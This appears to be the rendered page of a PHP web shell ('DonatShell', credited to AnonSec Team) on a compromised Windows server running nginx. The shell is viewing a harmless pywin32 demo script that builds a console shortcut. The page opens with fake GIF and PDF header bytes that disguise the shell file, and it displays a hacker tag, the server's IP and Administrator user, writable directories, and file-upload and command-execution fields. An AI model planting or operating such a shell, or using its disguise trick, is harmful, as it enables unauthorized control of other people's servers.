GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/Certbot/pkgs/win32comext/shell/demos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Program Files (x86)/Certbot/pkgs/win32comext/shell/demos//IShellLinkDataList.py
from win32com.shell import shell, shellcon
import pythoncom, win32api, os, sys

temp_dir=win32api.GetTempPath()
linkname=win32api.GetTempFileName(temp_dir,'cmd')[0]
os.remove(linkname)
linkname+='.lnk'
print('Link name:',linkname)
ish=pythoncom.CoCreateInstance(shell.CLSID_ShellLink, None,
	pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink)
ish.SetPath(os.environ['cOMSPEC'])
ish.SetWorkingDirectory(os.path.split(sys.executable)[0])
ish.SetDescription('shortcut made by python')

console_props={
	'Signature':shellcon.NT_CONSOLE_PROPS_SIG,
	'InsertMode':True,
	'FullScreen':False,    ## True looks like "DOS Mode" from win98!
	'FontFamily':54,
	'CursorSize':75,		## pct of character size
	'ScreenBufferSize':(152, 256),
	'AutoPosition':False,
	'FontSize':(4, 5),
	'FaceName':'',
	'HistoryBufferSize':32,
	'InputBufferSize':0,
	'QuickEdit':True,
	'Font':0,   ## 0 should always be present, use win32console.GetNumberOfConsoleFonts() to find how many available
	'FillAttribute':7,
	'PopupFillAttribute':245,
	'WindowSize':(128, 32),
	'WindowOrigin':(0, 0),
	'FontWeight':400,
	'HistoryNoDup':False,
	'NumberOfHistoryBuffers':32,
    ## ColorTable copied from a 'normal' console shortcut, with some obvious changes
    ## These do not appear to be documented.  From experimentation, [0] is background, [7] is foreground text
    'ColorTable':(255, 8388608, 32768, 8421376, 128, 8388736, 32896, 12582912,
				8421504, 16711680, 65280, 16776960, 255, 16711935, 65535, 16777215)
}

ishdl=ish.QueryInterface(shell.IID_IShellLinkDataList)
ishdl.AddDataBlock(console_props)
ipf=ish.QueryInterface(pythoncom.IID_IPersistFile)
ipf.Save(linkname,1)
os.startfile(linkname)

Anon7 - 2022
AnonSec Team